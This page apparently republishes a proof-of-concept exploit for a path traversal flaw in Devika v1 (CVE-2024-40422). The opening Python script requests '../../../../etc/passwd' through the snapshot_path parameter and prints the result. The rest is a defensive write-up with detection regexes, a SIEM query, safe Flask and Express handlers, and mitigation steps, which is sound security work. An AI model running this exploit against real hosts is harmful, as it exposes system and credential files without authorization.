Devika v1 - Path Traversal via 'snapshot_path'

Exploit Author: Alperen Ergel Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2024-08-04
# Exploit Title: Devika v1 - Path Traversal via 'snapshot_path' Parameter
# Google Dork: N/A
# Date: 2024-06-29
# Exploit Author: Alperen Ergel
# Contact: @alpernae (IG/X)
# Vendor Homepage: https://devikaai.co/
# Software Link: https://github.com/stitionai/devika
# Version: v1
# Tested on: Windows 11 Home Edition
# CVE: CVE-2024-40422

#!/usr/bin/python

import argparse
import requests

def exploit(target_url):
    url = f'http://{target_url}/api/get-browser-snapshot'
    params = {
        'snapshot_path': '../../../../etc/passwd'
    }

    response = requests.get(url, params=params)
    print(response.text)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Exploit directory traversal vulnerability.')
    parser.add_argument('-t', '--target', help='Target URL (e.g., target.com)', required=True)
    args = parser.parse_args()

    exploit(args.target)


Devika v1 — Path Traversal via the snapshot_path parameter (CVE-2024-40422)

This article explains the path traversal vulnerability reported in Devika v1 (CVE-2024-40422), why it is dangerous, how to detect whether an installation was probed or abused, and how to remediate and harden the code and deployment. The focus is defensive: identifying root causes, secure coding patterns, and practical mitigation steps for operators and developers.

Summary

A path traversal flaw in Devika v1 allowed attackers to request arbitrary filesystem locations by supplying an unvalidated path parameter to the snapshot retrieval endpoint. A successful exploit can expose sensitive files and secrets from the host. This report covers impact, detection, fixes, and secure patterns to prevent similar issues.

Impact and risk

  • Confidential information disclosure: configuration files, secrets, private keys, or user data may be exposed.
  • Information useful for further attacks: system layout and credentials can facilitate lateral movement or privilege escalation.
  • Severity depends on host privileges and what files are available to the application user. Even read-only access can be highly sensitive.

Root cause (high-level)

The vulnerability stems from taking a client-supplied path (snapshot_path) and using it to read files from disk without normalizing and constraining the final resolved path to an allowed directory. When an application concatenates or uses user input to access files directly, attackers can use directory-traversal sequences (and their URL-encoded equivalents) to break out of the intended directory.

Detection and indicators of compromise (defensive)

Look for suspicious requests to the snapshot endpoint that contain path traversal patterns or encoded variants. Key indicators include:

  • Requests to the snapshot endpoint with path fragments containing "../" or its URL-encoded forms.
  • Unexpected successful responses returning content that should not be exposed (credential files, /etc/hosts, configuration files).
  • Unusual user-agent strings or repeated automated GETs for different file locations.

Example detection rules (generic, for logs or WAF):

Regex (match ../ or encoded traversal):
(?:\.\./|%2e%2e%2f|%2e%2e%5c|%252e%252e%252f)

Explanation: This regex looks for common traversal sequences and common URL-encoded representations. Use it in your web logs, WAF, or SIEM to flag suspicious requests. Tune to avoid false positives from legitimate inputs.

Immediate mitigations for operators

  • Apply network-level controls: restrict public access to management endpoints using firewall rules or VPN access.
  • Use a Web Application Firewall (WAF) to block requests containing traversal patterns until a patch is available.
  • Run the application with the least privilege required and ensure the runtime account cannot read sensitive files.
  • If practical, temporarily disable the vulnerable endpoint until you can patch or implement a safe fix.
  • Audit logs for past exploitation attempts and sensitive-file access to assess impact.

Secure coding patterns — how to properly validate and constrain file access

Never trust user-supplied paths. Instead, use a base directory (an allowlisted storage path), resolve the final path on the server, and verify that the resolved path is still within the base directory. Below are safe examples in Python and Node.js for defensive usage.

Python (Flask) — safe file-serving pattern

from flask import Flask, request, abort, send_file
import os

app = Flask(__name__)
BASE_DIR = os.path.abspath("/opt/devika/snapshots")

@app.route("/api/get-browser-snapshot")
def get_snapshot():
    snapshot_param = request.args.get("snapshot_path", "")
    # Normalize and resolve
    requested_path = os.path.abspath(os.path.join(BASE_DIR, snapshot_param))
    # Enforce same-root constraint
    if not requested_path.startswith(BASE_DIR + os.sep):
        abort(403)
    if not os.path.isfile(requested_path):
        abort(404)
    return send_file(requested_path, as_attachment=False)

Explanation: This handler sets a BASE_DIR where snapshot files live. It joins the base and the client-supplied name, resolves the absolute path, and verifies that the resolved path begins with the BASE_DIR. If the check fails, the request is denied. This prevents traversal from breaking out of the intended directory.

Node.js (Express) — safe pattern using path.resolve

const express = require('express');
const path = require('path');
const fs = require('fs');

const app = express();
const BASE_DIR = path.resolve('/opt/devika/snapshots');

app.get('/api/get-browser-snapshot', (req, res) => {
  const snapshot = req.query.snapshot_path || '';
  const requested = path.resolve(BASE_DIR, snapshot);
  if (!requested.startsWith(BASE_DIR + path.sep)) {
    return res.status(403).send('Forbidden');
  }
  if (!fs.existsSync(requested) || !fs.statSync(requested).isFile()) {
    return res.status(404).send('Not Found');
  }
  res.sendFile(requested);
});

Explanation: path.resolve prevents trivial traversal vectors. The application enforces that the resolved path is within BASE_DIR and validates existence and file type before returning content.

Additional secure practices

  • Prefer an allowlist of file names or identifiers rather than raw path input (e.g., accept snapshot IDs and map them server-side to files).
  • Limit the amount of file data returned — avoid sending entire configuration files or secrets from the host.
  • Use strong access controls and authentication for sensitive endpoints.
  • Audit and rotate secrets that may have been exposed.
  • Include unit tests that assert that traversal attempts are blocked.

Detection queries and SIEM examples (defensive)

Example Splunk-style search to find attempted traversal in web logs:

index=web_logs source="/var/log/nginx/access.log" 
| search uri_query="*snapshot_path=*"
| regex uri_query="(\\.|%2e){2}" 
| table _time clientip request uri_query status

Explanation: This query selects requests to the snapshot endpoint that include repeated dot sequences or encoded equivalents; adjust to your logging format and tune for false positives.

Patch and update guidance

  • Check the official Devika repository and vendor advisory for a patched release and apply it as soon as possible.
  • If a vendor patch is not yet available, implement the defensive code patterns above and block the endpoint at the network or proxy layer.
  • After patching, verify the fix with unit and integration tests that attempt traversal and ensure the server responds with 403/404 as appropriate.

Responsible disclosure & references

ItemReference
Softwarehttps://github.com/stitionai/devika
Vendorhttps://devikaai.co/
CVECVE-2024-40422

Recommended checklist for teams

  • Inventory all endpoints that accept file/path parameters and apply input validation.
  • Enforce least privilege for the application process and filesystem permissions.
  • Deploy WAF rules tuned to block traversal patterns while monitoring for false positives.
  • Rotate secrets and credentials if a compromise is suspected.
  • Write automated tests that exercise both normal and malicious path inputs.

Closing notes

Path traversal is a common but preventable class of vulnerability. The most reliable defenses are explicit constraints (base directory/allowlist), careful path resolution, least privilege, and layered protections such as WAF and logging. Prioritize patching and forensic review if your deployment exposed a vulnerable endpoint.